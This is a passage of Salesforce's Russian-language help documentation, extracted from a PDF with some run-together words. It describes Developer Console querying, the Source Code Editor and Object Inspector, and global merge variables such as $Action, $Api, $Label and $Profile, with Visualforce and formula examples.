2. Чтобы отправить запрос на объекты инструментария (вместо объектов данных), установите флажок Use Tooling API.

3. Нажмите кнопку Execute. Ошибки выполнения запроса отображаются внизу панели Query Editor. Результаты
отображаются в сетке Query Results рабочего пространства консоли разработчика.

4. Внимание: Повторное выполнение запроса инициирует удаление несохраненных изменений в сетке Query
Results.

Чтобы повторно выполнить запрос, нажмите кнопку Refresh Grid или выберите нужный запрос на панели History и
нажмите кнопку Execute.
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Дополнительную информацию о синтаксисе запросов и поисков см. в Справочном руководстве по Force.com SOQL и
SOSL.

СМ. ТАКЖЕ:

Query Editor

Извлечение планов запросов

Сетка Query Results

Извлечение планов запросов
Чтобы оптимизировать и ускорить запросы, выполняемые над большим количеством записей, воспользуйтесь
инструментом Query Plan. Просмотрите планы запросов для запросов SOQL, поисков SOSL, отчетов и списковых
представлений. При наличии доступных настраиваемых индексов воспользуйтесь планами запросов для определения
необходимости запроса настраиваемого индекса от службы поддержки Salesforce.

Чтобы включить кнопку Query Plan на вкладке Query Editor, последовательно выберите пунктыHelp > Preferences, задайте
параметру Enable Query Plan значение true и нажмите кнопку Save.

Чтобы получить планы запросов для запросов SOQL или поисков SOSL, введите нужный запрос и нажмите кнопкуQuery
Plan на вкладке Query Editor.

Окно Query Plan отображаетвсеоперациизапросаистоимостькаждойоперации. Панель Notes отображаетвсепримечания,
доступные для самого первого плана запроса (план запроса, используемый в настоящее время).

Чтобы просмотреть планы запросов для отчетов или списковых представлений, выполните указанные ниже действия.

1. Найдите код отчета или спискового представления в соответствующем URL-адресе.

2. Введите код отчета или спискового представления на вкладке Query Editor и нажмите кнопку Query Plan.

3. Просмотрите план запроса для отчета или спискового представления.

СМ. ТАКЖЕ:

Query Editor

Выполнение запроса SOQL или поиска SOSL

Сетка Query Results

Сетка Query Results

Сетка Query Resultsотображает каждуюзапись в виде строки. Принеобходимостипользователимогут создавать, обновлять
и удалять записибез закрытия консолиразработчика. Припросмотре результатовмногообъектногопоиска SOSL каждый
объект отображается на отдельной вкладке.
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• Чтобы открыть запись в результатах, щелкните нужную строку и нажмите кнопку Open Detail Page. Чтобы
отредактировать запись, нажмите кнопку Edit Page для просмотра записи в системе Salesforce.

• Чтобы создать запись, нажмите кнопку Insert Row. Введите нужную информацию и нажмите кнопку Save Rows.

Прим.: Чтобы вставить строку, результаты запроса должны содержать все обязательные поля объекта.
Обязательныеполядолжныбытьтекстовымииличисловыми. Еслиданныеусловияневыполняются, тосоздается
пустая запись, которая не может быть сохранена. Чтобы создать запись в системе Salesforce в данном случае,
нажмите кнопку Create New.

• Чтобыотредактироватьзаписьвнутрисетки Query Results, дваждыщелкнитенужнуюстроку. Внеситенужныеизменения
и нажмите кнопку Save Rows.

• Чтобы удалить запись, выберите связанную строку и нажмите кнопку Delete Row.

СМ. ТАКЖЕ:

Query Editor

Выполнение запроса SOQL или поиска SOSL

Извлечение планов запросов

Apex, Visualforce и компоненты Lightning

Работа с кодом
Данныйразделсодержитсведенияобинструментахиприемах, предназначенныхдляизмененияорганизациипосредством
кода.

• Использование редактора для Visualforce

• Source Code Editor

• Object Inspector

• Глобальные переменные

• Допустимые значения для глобальной переменной $Action

• Общие сведения о коде Apex

• Visualforce

• Что такое службы эл. почты?

• Настраиваемые метки
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Использование редактора для Visualforce или Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Apex доступен в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Visualforce доступен в
версиях: Contact Manager,
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
разметки Visualforce:
• «Настройка

приложения»

Для редактирования
настраиваемых
контроллеров Visualforce
или Apex:
• «Автор Apex»

Ниже перечисленыфункции редактора, доступные при редактировании Visualforce или
Apex посредством нижнего колонтитула режима разработки Visualforce или меню
«Настройка».

Выделение синтаксических элементов
Редакторавтоматическиприменяетвыделениесинтаксическихэлементовкключевым
словам, а также ко всем функциям и операторам.

Поиск ( )
Функция поиска поддерживает текстовый поиск по текущей странице, классу или
триггеру. Чтобы выполнить поиск, введите строку в текстовое поле «Найти» и
нажмите кнопку «Найти далее».

• Чтобызаменитьнайденнуюстрокупоискадругойстрокой, введитеновуюстроку
в текстовоеполе «Заменить» инажмитекнопку«Заменить»для заменытекущего
экземпляра или кнопку «Заменить все» для замены всех экземпляров строки
поиска на странице, в классе или триггере.

• Чтобы выполнить поиск с учетом регистра, установите флажок «Учитывать
регистр».

• Чтобы выполнить поиск по регулярному выражению, установите флажок
«Регулярные выражения». Регулярные выражения подчиняются правилам
составлениярегулярныхвыражений JavaScript. Поискпорегулярнымвыражениям
позволяет находить строки, использующие переносы.

Операция замены, выполняемаяпосредствомстроки, возвращеннойпоискомпо
регулярному выражению, может использовать найденную строку поиска для
связывания групповых переменных регулярного выражения (например, $1, $2
ит. д.). Например, чтобызаменитьтег <h1> тегом <h2> исохранитьвсе атрибуты
исходного тега <h1>, выполнитепоискпо строке <h1(\s+)(.*)> и замените
ее строкой <h2$1$2>.

Переход к строке ( )
Даннаякнопкапозволяетвыделитьуказанныйномерстроки. Редакторавтоматически
переходит к строке, если она не отображается.

Отмена ( ) и повтор ( )
Чтобы отменить действие редактирования, щелкните значок отмены. Чтобы
выполнить отмененное действие редактирования, щелкните значок повтора.

Размершрифта
Чтобы определить размер символов, отображаемых в редакторе, выберите размер
шрифта из раскрывающегося списка.

Положение строки и столбца
Положение курсора относительно строки и столбца отображается в строке состояния, доступной в нижней части

редактора. Данная функция совместно с функцией перехода к строке ( ) может использоваться для быстрого
перемещения по редактору.

Количество строк и символов
Общее количество строк и символов отображается в строке состояния, доступной в нижней части редактора.

Ниже перечислены клавиши быстрого доступа, поддерживаемые редактором.
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Tab
Добавление символа табуляции.

SHIFT+Tab
Удаление символа табуляции.

CTRL+f
Открытие диалогового окна поиска или поиск следующего экземпляра текущей строки поиска.

CTRL+r
Открытие диалогового окна поиска или замена следующего экземпляра текущей строки поиска новой строкой.

CTRL+g
Открытие диалогового окна перехода к строке.

CTRL+s
Быстрое сохранение.

CTRL+z
Отмена последнего действия редактирования.

CTRL+y
Выполнение последнего отмененного действия редактирования.

СМ. ТАКЖЕ:

Общие сведения о коде Apex

Visualforce

Source Code Editor
Консольразработчика содержитпредставление Source Code Editor, поддерживающеенаборфункцийдляредактирования
кода Apex и Visualforce.

Всефайлыкода, включаяклассыитриггерыApex, а такжестраницыикомпонентыVisualforce, открываютсявпредставлении
Source Code Editor рабочего пространства консоли разработчика.
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Функция выделения синтаксических элементов впредставлении Source Code Editorпозволяетподсвечивать комментарии,
числа, строки, зарезервированные ключевые слова, простые типы данных, описания переменных и ссылки. Чтобы
получить доступ к функции поиска кода, воспользуйтесь комбинацией клавиш CTRL + F.

Позавершении тестированияпредставление Source Code Editorпозволяет просматриватьпострочноепокрытие кода. См.
раздел «Проверка покрытия кода». Кроме того, представление Source Code Editor позволяет задавать контрольные точки,
предназначенные для устранения неполадок без обновления кода. См. раздел «Настройка контрольных точек в коде
Apex».

ЧтобыпереключитьсямеждупредставлениемSource Code Editorиполноэкраннымредактором (приегоналичии), нажмите
клавишу F11.

Настройка параметров представления Source Code Editor

Представление Source Code Editor позволяет изменять размершрифта и отображаемую тему. Чтобы открыть диалоговое
окно Preferences, последовательно выберите пункты Help > Preferences.

Выберите нужную тему для предварительного просмотра.

Окно Preferences отображает дополнительные параметры конфигурации на основе полномочий пользователя и целей
внедрения. Например, включение функции автозаполнения на странице 5569 и вкладки Logs, препятствующей загрузке
журналов на странице 5833.

Чтобы обновить параметры и закрыть окно, нажмите кнопку Save.

Просмотр описаний методов и переменных
Описание метода или переменной может быть доступно без поиска.

1. Наведите указатель мыши на имя метода или переменной. Описание может быть просмотрено для подчеркнутого
имени метода или переменной.

2. Щелкните подчеркнутое имя метода или переменной.

3. Чтобы поместить курсор в описание, воспользуйтесь комбинацией клавиш CTRL + ALT + N или нажмите кнопку Go
To. Если описание хранится в другом файле, то файл откроется в новой вкладке.
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Использование функций поиска и замены
Ниже перечислены клавиши быстрого доступа, которые могут использоваться для поиска и замены текста по текущему
представлению.

ПримечанияКлавиша быстрого доступаФункция

Открытие активной формы поиска.CTRL + FПоиск

Открытиедиалоговогоокна, позволяющего
вводитьпоисковый запроси замену, а также

CTRL + SHIFT + FЗаменить

подтверждать или отклонять каждое
изменение.

Открытиедиалоговогоокна, позволяющего
вводитьпоисковый запроси замену, а также

CTRL + SHIFT + RЗаменить все

подтверждатьилиотклонятьуниверсальное
изменение.

Чтобы выполнить поиск пофайлам, которые отсутствуют в текущем представлении, последовательно выберите пункты
File > Search in Files или воспользуйтесь комбинацией клавиш CTRL + SHIFT + H.

Использование автозаполнения
Представление Source Code Editor отображает варианты автозаполнения при создании кода.

При использовании страниц и компонентов Visualforce варианты автозаполнения отображаются по мере ввода.

При использовании классов и триггеров Apex список вариантов автозаполнения отображается при нажатии клавиш
CTRL + SPACE. Вариантыавтозаполнениясодержат системныеобъектыиметодыApex, пользовательскиеобъектыиметоды,
а также объекты sObject и поля. Чтобы включить функцию автозаполнения Apex при вводе периода, последовательно
выберите пункты Help > Preferences и задайте параметру Enable Apex Auto-complete значение true.

Чтобыотфильтровать списокдоступныхвариантов, введитедополнительныесимволы. Чтобывыбрать верхнийвариант,
нажмите клавишу ENTER. Чтобы выбрать другой вариант, воспользуйтесь мышью или клавишами со стрелками.

Варианты автозаполнения отображаются на основе текущего рабочего объекта. При отсутствии нужного варианта
сохраните открытый объект и обновите список. Тип объекта определяется таблицей символов текущего редактора. При
отсутствии совпадений проверяются кэшированные таблицы символов (последние допустимые для сохранения). При
отсутствиитекущегообъектаокноавтозаполненияотображает все системныеипользовательскиеклассы, а такжеобъекты
sObject.
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Проверка изменений исходного кода: вкладка Problems

Изменения, внесенные в представлении Source Code Editor, компилируются и проверяются в фоновом режиме. Строки
редактируемого кода, содержащие ошибки, помечаются индикатором ошибки, а вкладка Problems нижней панели
отображает сведения об ошибках компиляции. Чтобы свернуть вкладку Problems, нажмите кнопку в углу панели.

Припроверкеисходныхпредставленийвсеизмененныеисточникипроверяются вместе, анепоотдельности. Изменения,
которыемогутпротиворечитькодуна сервере, нодействительныепри групповойпроверке (например, добавлениеметода
в один файл и вызов данного метода в другом файле), не будут отображаться в качестве ошибок.

Изменение версии API

Чтобы изменить версию текущего объекта, воспользуйтесь списком API Version, расположенным вверху представления
Source Code Editor. Список содержит последние пять версий API, а также текущую версию объекта.

Сохранение изменений
Символ «*» добавляется к имени вкладки в том случае, если представление Source Code Editor содержит несохраненные
изменения. Классы и триггеры Apex сохраняются посредством текущей версии API класса или триггера.

Чтобысохранитьнаборизмененийс зависимостями, последовательновыберитепунктыFile > Save Allиливоспользуйтесь
комбинациейклавиш CTRL + S + SHIFT. Всеоткрытые вкладки, содержащиеизменения, сохраняютсяодновременноодним
запросом.

Сохраняемые измененные представления сопоставляются со всеми сохраненными исходнымифайлами. Исходные
файлы, содержащиесвязанныеизменения, поддерживаюттолькопакетноесохранение. Ошибкикомпиляциипрепятствуют
сохранениюфайлов. Просмотрите панель Problems, исправьте ошибки и нажмите кнопку Save.

Прим.: Классы Apex не могут редактироваться и сохраняться в производственной организации.

Облачная синхронизация кода
Консоль разработчика отслеживает изменения, внесенные в источник другими пользователям после открытия файла.
При отсутствии изменений представление обновляется автоматически. В противном случае изменения не могут быть
сохранены на сервере. Система отображает предупреждение о наличии изменений, внесенных другим пользователем, и
предлагает обновить исходное представление до последней версии.

Внимание: Обновление файла инициирует перезапись изменений. Чтобы сохранить собственные изменения,
скопируйте версиюфайла из исходного представления. Затем обновите файл и дополните его собственными
изменениями.

СМ. ТАКЖЕ:

Общие сведения о пользовательском интерфейсе консоли разработчика

Проверка покрытия кода

Настройка контрольных точек в коде Apex

Меню File
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Object Inspector
ПредставлениеObject Inspector предоставляет возможность просмотра полей стандартного или настраиваемого объекта
и их типов данных.Чтобыоткрыть представлениеObject Inspector, последовательно выберите пункты File > Open, а затем
выберите нужныйобъект. Чтобынайтиобъекты, соответствующие заданнымкритериям, воспользуйтесь вкладкойQuery
Editor.

Прим.: Консоль разработчика не позволяет изменять настраиваемые объекты. Создание, редактирование или
удаление настраиваемых объектов в меню «Настройка».

СМ. ТАКЖЕ:

Использование консоли разработчика

Поиск по параметрам управления объектами
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Глобальные переменные

ВЕРСИИ

Доступность всех
глобальных переменных
зависит от требований к
рабочему процессу и версии
соответствующейфункции.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
настраиваемых элементов
S-Control, формул или
страниц Visualforce:
• «Настройка

приложения»

Для редактированияпотоков
и процессов:
• «Управление Force.com

Flow»

Компоненты (например, настраиваемые кнопки и ссылки, формулы в настраиваемых
полях, правилахпроверки, потокахипроцессах, а также страницыVisualforce) позволяют
использовать специальные поля слияния для обращения к данным организации.

Прим.: Веб-вкладкиподдерживаюттолькополяслиянияпользователя, организации
и API.

Нижеперечисленыглобальныепеременные, которыемогутиспользоватьсяпривыборе
типа поля слияния для добавления настраиваемого компонента.

$Action

Тип глобального поля слияния, используемый при обращении к
стандартнымдействиям Salesforce (например, отображениеначальной
страницы вкладки «Организации» или создание, редактирование и
удаление организаций).Поля слияния действия используются в
функциях LINKTO и URLFOR для ссылки на выбранное действие.

Описание:

Использование: 1. Выберите тип поля: $Action.

2. Вставьте поле слияния следующего формата:
$Action.объект.действие  (например, $Action.Account.New).

Элемент S-Control, указанный ниже, обращается к стандартному
действию для создания организаций в поле слияния
$Action.Account.New.

<html> <body> {!LINKTO("Create a New Account",
$Action.Account.New,

$ObjectType.Account)} </body> </html>

Пример
элемента
S-Control:

<apex:outputLink
value="{!URLFOR($Action.Account.New)}">Create New
Account</apex:outputLink>

Пример
Visualforce:

Данная глобальная переменная доступна только для настраиваемых
кнопок и ссылок, элементов S-Control и страниц Visualforce.

Советы:

Все объекты поддерживают основные действия (например, создание, клонирование, просмотр, редактирование,
перечисление и удаление). Кроме того, глобальная переменная $Action ссылается на действия, доступные для многих
стандартных объектов. Доступные значения определяются функциями, включенными в организации.

$Api

Тип глобального поля слияния, используемый при обращении к URL-адресам API.Описание:

Использование: 1. Выберите тип поля: $Api.
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2. Выберите поле слияния. Например:

• $Api.Enterprise_Server_URL__xxx: конечнаяточка SOAP документа Enterprise WSDL,
где переменная xxx соответствует версии API. Например,
$Api.Enterprise_Server_URL_140 — это значение поля слияния для API 14.0.

• $Api.Partner_Server_URL__xxx: конечная точка SOAP документа Partner WSDL, где
переменная xxx соответствует версии API.

• $Api.Session_ID: код сеанса.

Поле настраиваемойформулы, указанное ниже, вызывает службу для замены кода SIC. Замените
переменную мой_сервер именем сервера.

HYPERLINK("https://www.myserver.com/mypage.jsp" &
"?Username=" & $User.Username &

Пример элемента
S-Control:

"&crmSessionId=" & GETSESSIONID() &
"&crmServerUrl=" & $Api.Partner_Server_URL_90 &
"&crmObjectId=" & Id &
"&crmFieldUpdate=sicCode",
"Update SIC Code")

Рекомендуем использовать точечное обозначение для возврата кода сеанса.

{!$Api.Session_ID}

ПримерVisualforce
и потока:

Данная глобальная переменная доступна только для полей формулы, элементов S-Control,
настраиваемых кнопок и ссылок, страниц Visualforce, формул потока и формул процесса.

Советы:

Важное замечание: $Api.Session_ID и GETSESSIONID() показывает тоже значение,
идентификатор текущего сеанса в текущем контексте. Контекст изменяется в зависимости
от того, где выполняется оценка глобальной переменной или функции. Например, если
используется настраиваемое поле с формулой, и это поле отображается на странице со
стандартныммакетомв Salesforce Classic, тогда сеансбудетбазовымсеансомсистемыSalesforce.
Тожеполе (илибазовыйалгоритм, илирезультатформулы) прииспользованиинастранице
Visualforce вместо этого ссылается на сеанс Visualforce.

Контексты сеансов зависят от домена, в котором выполняется запрос. То есть, контекст
сеанса изменяется при переходе на другое имя хоста, например с .salesforce.com на
.visual.force.com или .lightning.force.com.

Коды сеансов из разных контекстов и сами сеансы различаются. При переходе из одного
контекста в другой предыдущий сеанс сменяется новым, после чего старый сеанс более не
действителен. При этом также изменяется код сеанса.

Как правило, Salesforce без проблем обрабатывает передачу сеансов между контекстами,
однако есливыпередаете код сессиисамостоятельно, учитывайте, чтоможетпотребоваться
повторный доступ к $Api.Session_ID или GETSESSIONID() из нового контекста,
чтобы проверить действительность кода сеанса.

Обратите внимание на то, что не все сеансы одинаковы. В частности, сеансы, полученные
в контексте Lightning Experience , имеют меньше привилегий и не имеют доступа к
API-интерфейсам. Использование кодов этих сеансов для вызова API-интерфейсов
невозможно.
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$Component

Тип глобального поля слияния, используемый при обращении к компоненту Visualforce.Описание:

Каждыйкомпонент страницыVisualforceиспользует собственныйатрибут Id. Приотображении
страницыданныйатрибутиспользуется для создания кода DOM. Рекомендуемиспользоватьполе

Использование:

слияния $Component.Путь.к.коду в JavaScript для обращения к определенному компоненту
страницы, где Путь.к.коду — это описатель иерархии компонентов для используемого
компонента.

function beforeTextSave() {
document.getElementById('{!$Component.msgpost}').value =

ПримерVisualforce:

myEditor.getEditorHTML();
}

Данная глобальная переменная доступна только для страниц Visualforce.Советы:

$ComponentLabel

Глобальное поле слияния, используемое при обращении к метке компонента inputField на
странице Visualforce, связанной с сообщением.

Описание:

Данное поле слияния возвращает метку компонента inputField, связанного с сообщением.Использование:

<apex:datalist var="mess" value="{!messages}">
<apex:outputText value="{!mess.componentLabel}:" style="color:red"/>

ПримерVisualforce:

<apex:outputText value="{!mess.detail}" style="color:black" />
</apex:datalist>

Данная глобальная переменная доступна только для страниц Visualforce.Советы:

$CurrentPage

Тип глобального поля слияния, используемый при обращении к текущей странице Visualforce
или запросу страницы.

Описание:

Рекомендуем использовать данную глобальную переменную на странице Visualforce для
обращениякименитекущейстраницы ($CurrentPage.Name) или URL-адресутекущейстраницы

Использование:

($CurrentPage.URL). Рекомендуем использовать поле слияния
$CurrentPage.parameters.имяПараметра дляобращениякзначениямипараметрамзапроса
страницы, где имяПараметра — это используемый параметр запроса.

<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">

Пример Visualforce:

You belong to the {!account.name} account.<br/>
You're also a nice person.

</apex:pageBlock>
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<apex:detail subject="{!account}" relatedList="false"/>
<apex:relatedList list="OpenActivities"
subject="{!$CurrentPage.parameters.relatedId}"/>

</apex:page>

Данная глобальная переменная доступна только для страниц Visualforce.Советы:

$FieldSet

Тип глобального поля слияния, используемый для предоставления доступа к набору полей,
заданному в организации.

Описание:

Рекомендуем использовать на страницах Visualforce для динамическойитерацииполей в наборе
полей. Данная глобальная переменная должна быть дополнена ссылкой на стандартный или
настраиваемый объект, содержащий набор полей.

Использование:

<apex:page standardController="Account">
<apex:repeat value="{!$Account.FieldSet.mySpecialFields}"

Пример Visualforce:

var="field">
<apex:outputText value="{!field}" />

</apex:repeat>
</apex:page>

Данная глобальная переменная доступна только для страниц Visualforce.Советы:

$Label

Тип глобального поля слияния, используемый при обращении к настраиваемой метке.Описание:

Использование: 1. Выберите тип поля $Label.

2. Выберите нужную настраиваемую метку.

Возвращаемое значение определяется языком контекстного пользователя. Ниже перечислены
возможные возвращенные значения (в порядке очередности).

1. Текст локального перевода

2. Текст пакетного перевода

3. Текст основной метки

Рекомендуем создать формулу потока, содержащую выражение ниже.

{!$Label.customCurrency_label}

Пример потока:

Затем данная формула потока может использоваться как метка поля окна.

<apex:page>
<apex:pageMessage severity="info"

Пример Visualforce:

strength="1"
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summary="{!$Label.firstrun_helptext}"
/>

</apex:page>

Метка на языке разметки с применением пространства имен по умолчанию
{!$Label.c.labelName}

Пример
компонентов
Lightning

Метка на языке JavaScript, если в организации имеется свое пространство имен
$A.get("$Label.namespace.labelName")

Данная глобальная переменная доступна только для компонентов Lightning, страниц Visualforce,
Apex, формул потока и формул процесса.

Советы:

$Label.Site

Тип глобального поля слияния, используемый при обращении к стандартной метке сайтов на
странице Visualforce. Подобно всем стандартным меткам, отображаемый текст определяется
языком и регионом пользователя.

Описание:

Рекомендуемиспользовать данное выражение на странице Visualforce для доступа к стандартной
метке сайтов. Если сервер приложений создает страницу для отображения в обозревателе

Использование:

конечного пользователя, то возвращенное значение определяется языком и регионом
пользователя.

Ниже перечислены метки, поддерживаемые системой Salesforce.

СообщениеМетка

Требуется авторизацияauthorization_required

Превышено ограничение пропускной способностиbandwidth_limit_exceeded

Изменить парольchange_password

Изменить парольchange_your_password

Чтобы восстановить пароль, щелкните ссылку
«Восстановление пароля».

click_forget_password

Псевдонимcommunity_nickname

Подтверждение пароляconfirm_password

<i>{0}</i>: профилактическое обслуживаниеdown_for_maintenance

Эл. почтаэл. почта

отправьте нам сообщение по эл. почтеemail_us

Забыли пароль? Введите имя пользователя ниже.enter_password

Ошибка. {0}error

Ошибкаerror2
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СообщениеМетка

Файл не найденfile_not_found

Восстановление пароляforgot_password

Подтверждение восстановления пароляforgot_password_confirmation

Забыли пароль?forgot_your_password_q

При необходимости <a href="{0}">{1}</a>.get_in_touch

Перейти на страницу входаgo_to_login_page

/img/sitesimg_path

Профилактическое обслуживаниеin_maintenance

Превышено ограничениеlimit_exceeded

Входlogin

Входlogin_button

Прежде чем получить доступ к данной странице,
войдите в систему или зарегистрируйтесь.

login_or_register_first

Выходlogout

Новый парольnew_password

Создать пользователя?new_user_q

Предыдущий парольold_password

Страница не найденаpage_not_found

Страница не найдена: {0}page_not_found_detail

Парольpassword

Пароли не совпадают.passwords_dont_match

Используетсяpowered_by

Зарегистрироватьregister

Подтверждение регистрацииregistration_confirmation

Вход на сайтsite_login

В разработкеsite_under_construction

Приносим извинения за причиненные неудобства.sorry_for_inconvenience

Приносим извинения за причиненные неудобства. В
скором времени работа будет возобновлена.

sorry_for_inconvenience_back_shortly

Оставайтесь с нами.stay_tuned

Отправитьsubmit
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СообщениеМетка

Временный пароль отправлен по эл. почте.temp_password_sent

Благодарим за регистрацию. Временный пароль
отправлен по эл. почте.

thank_you_for_registering

<i>{0}</i>: в разработкеunder_construction

Регистрация нового пользователяuser_registration

Имя пользователяusername

Проверить новый парольverify_new_password

<apex:page>
<apex:pageMessage severity="info"

Пример Visualforce:

strength="1"
summary="{!$Label.Site.temp_password_sent}"
/>

</apex:page>

Данная глобальная переменная доступна только для страниц Visualforce.Советы:

$Network

Тип глобального поля слияния, используемый при
обращенииксведениямосообществевшаблонеэл. почты
Visualforce.

Описание:

Рекомендуем использовать данное выражение в шаблоне
эл. почты Visualforce для получения доступа к имени
сообщества и URL-адресу входа сообщества.

Использование:

<messaging:emailTemplate subject="Your
Password has been reset"

Пример Visualforce:

recipientType="User" >
<messaging:htmlEmailBody >
<p>Hi,</p>
<p>Your password for

<b>{!$Network.Name}</b> community has been
reset.</p>
<p><a

href='{!$Network.NetworkUrlForUserEmails}'>Reset
Password</a></p>
<p>Regards,</p>
<p>Communities Admin</p>

</messaging:htmlEmailBody>
</messaging:emailTemplate>
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Данная глобальная переменная поддерживается только
шаблонами эл. почты Visualforce для сообществ.

Советы:

$ObjectType

Тип глобального поля слияния, используемый при обращении к стандартному или
настраиваемому объекту (например, организации, обращения или возможности) и значениям

Описание:

его полей.Поля слияния типа объекта используются функциями LINKTO, GETRECORDIDS и
URLFOR дляобращениякопределенномутипуданныхилифункцией VLOOKUP дляобращения
к определенному полю связанного объекта.

Использование: 1. Выберите тип поля: $ObjectType.

2. Выберите объект для вставки соответствующего поля слияния (например,
$ObjectType.Case).

Чтобы выбрать поле объекта, воспользуйтесь следующим синтаксисом:
$ObjectType.Role_Limit__c.Fields.Limit__c.

Настраиваемаякнопка списка, указаннаяниже, обращается к стандартномуобъекту «Обращения»
в поле слияния $ObjectType.Case.

{!REQUIRESCRIPT ("/soap/ajax/13.0/connection.js")} var records =
{!GETRECORDIDS($ObjectType.Sample)}; var newRecords

Пример
настраиваемой
кнопки:

= []; if (records[0] == null) { alert("Please select at least one row")
} else {

for (var n=0; n<records.length; n++) { var c = new
sforce.SObject("Case"); c.id = records[n]; c.Status = "New";

newRecords.push(c); } result =
sforce.connection.update(newRecords); window.location.reload(); }

Данныйпримерпроверяет действительностьпочтовогоиндекса для счета путемпоиска первых
пяти символов значения в настраиваемом объекте Zip_Code__c, который содержит запись для

Пример правила
проверки:

каждого действительного почтового индекса США. Если объект Zip_Code__c не содержит
почтового индекса или область для счета не соответствует полю State_Code__c в объекте
Zip_Code__c, то система отображает ошибку.

AND( LEN(BillingPostalCode) > 0, OR(BillingCountry = "USA",
BillingCountry = "US"),

VLOOKUP( $ObjectType.Zip_Code__c.Fields.State_Code__c,
$ObjectType.Zip_Code__c.Fields.Name, LEFT(BillingPostalCode,5)) <>

BillingState )

Пример ниже извлекает метку для поля организации Name.

{!$ObjectType.Account.Fields.Name.Label}

Пример Visualforce:

Данная глобальная переменная доступна только для страниц Visualforce, настраиваемых кнопок
и ссылок, элементов S-Control и правил проверки.

Советы:
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$Organization

Типглобальногополяслияния, используемыйприобращенииксведениямопрофилекомпании.
Рекомендуем использовать поля слияния организации для обращения к полям города, факса,
кода или других сведений об организации.

Описание:

Использование: 1. Выберите тип поля: $Organization.

2. Выберите поле слияния. Например: $Organization.Fax.

Рекомендуем использовать поля слияния организации для сравнения любого атрибута
организации с атрибутами собственных организаций. Например, организации могут быть

Пример правила
проверки:

сопоставленыпостране. Формулапроверки, указаннаяниже, обращается кполюслияниястраны
организации и требует код страны для любой иностранной организации.

AND($Organization.Country <> BillingCountry, ISBLANK(Country_Code__c))

Рекомендуем создать формулу потока (текстовую), содержащую выражение
{!$Organization.City}. Рекомендуем проверить соответствие города контакта данной
формуле в элементе «Решение».

Пример потока:

Рекомендуемиспользоватьточечноеобозначениедлядоступакданныморганизации. Например:

{!$Organization.Street}
{!$Organization.State}

Пример Visualforce:

Поля слияния организации извлекают значения из любых значений, хранящихся в системе
Salesforce как сведения о компании.

Советы:

Обратите внимание, что {!$Organization.UiSkin} — это значение раскрывающегося
списка, которое должно использоваться функциями раскрывающегося списка (например,
ISPICKVAL()) в настраиваемых полях, правилах проверки, выражениях Visualforce, формулах
потока, формулах процесса и формулах бизнес-правила.

$Page

Тип глобального поля слияния, используемый при обращении к странице Visualforce.Описание:

Рекомендуем использовать данное выражение на странице Visualforce для связывания с другой
страницей Visualforce.

Использование:

<apex:page>
<h1>Linked</h1>

Пример Visualforce:

<apex:outputLink value="{!$Page.otherPage}">
This is a link to another page.

</apex:outputLink>
</apex:page>

Данная глобальная переменная доступна только для страниц Visualforce.Советы:
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$Permission

Тип глобального поля слияния, используемый при обращении к сведениям о доступе к
настраиваемымполномочиям текущегопользователя. Рекомендуемиспользовать поля слияния

Описание:

полномочия для обращения к сведениям о текущем доступе пользователя к любому
настраиваемому полномочию организации.

Использование: 1. Выберите тип поля: $Permission.

2. Выберите поле слияния. Например: $Permission.customPermissionName.

Правило проверки ниже обращается к настраиваемому полномочию changeAustinAccounts для
текущего пользователя. Данное правило гарантирует обновление организаций, где городом для
счетаявляется Austin, толькопользователямиснастраиваемымполномочием changeAustinAccounts.

BillingCity = 'Austin' &&
$Permission.changeAustinAccounts

Пример правила
проверки:

Чтобы разрешить выполнение потока только пользователям с настраиваемым полномочием
seeAustinAccounts, рекомендуем создать формулу потока (логическую), содержащую выражение
ниже.

{!$Permission.seeAustinAccounts}

Пример потока:

Затем рекомендуем использовать условие в элементе «Решение» для проверки истинности
формулы.

Чтобыразрешитьотображение pageBlock толькопользователямснастраиваемымполномочием
seeExecutiveData, воспользуйтесь примером ниже.

<apex:pageBlock rendered="{!$Permission.canSeeExecutiveData}">
<!-- Executive Data Here -->

</apex:pageBlock>

Пример Visualforce:

Глобальная переменная $Permission отображается только после создания настраиваемых
полномочий в организации.

Советы:

$Profile

Типглобальногополя слияния, используемыйприобращениик сведениямопрофиле текущего
пользователя. Рекомендуем использовать поля слияния профиля для обращения к сведениям о
профиле пользователя (например, имя или тип лицензии).

Описание:

Использование: 1. Выберите тип поля: $Profile.

2. Выберите поле слияния. Например: $Profile.Name.
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Формулаправилапроверки, указаннаяниже, обращаетсякименипрофилятекущегопользователя,
гарантируя доступность настраиваемого поля «Личная цель» для изменения только
ответственному за запись или пользователям с данным профилем.

AND( ISCHANGED( Personal_Goal__c ), Owner <> $User.Id, $Profile.Name <>

"Custom: System Admin" )

Пример правила
проверки:

Чтобы определить профиль текущего пользователя, рекомендуем создать формулу потока
(текстовую), содержащую выражение ниже.

{!$Profile.Name}

Пример потока:

Добавление ссылки на даннуюформулу позволяет избежать использования запроса (элементы
поиска) и выполнять сохранение при достижении ограничений.

Чтобы вернуть профиль текущего пользователя, воспользуйтесь примером ниже.

{!$Profile.Name}

Пример Visualforce:

Советы: • Поля слияния $Profile доступны в версиях, поддерживающих создание настраиваемых
профилей.

• Рекомендуем использовать имена профилей для обращения к стандартным профилям в
полях слияния $Profile. Чтобы определить имя, которое должно использоваться взамен
предыдущего внутреннего значения профиля, воспользуйтесь списком ниже.

Значение $ProfileИмя стандартного профиля

PT1Системный администратор

PT2Стандартный пользователь

PT3Только для чтения

PT4Менеджер решений

PT5Пользователь Marketing

PT6Менеджер контрактов

PT7Пользователь-партнер

PT8Стандартный пользователь
платформы

PT9Стандартный пользователь
приложения Platform One

PT13Пользователь клиентскогопортала

PT14Менеджер клиентского портала

5582

Apex, Visualforce и компоненты LightningРасширение Salesforce посредством кода



• Еслиатрибутыпрофилясодержатпустыезначения, то значенияполяслияниятакжеявляются
пустыми. Например, поле профиля «Описание» является необязательным и может быть
пустым.

• Данныеполяслияниядоступныпользователямбезпредоставленияспециальныхполномочий
или прав доступа к сведениям профиля.

$RecordType

Глобальное поле слияния, используемое при обращении к типу текущей записи.Описание:

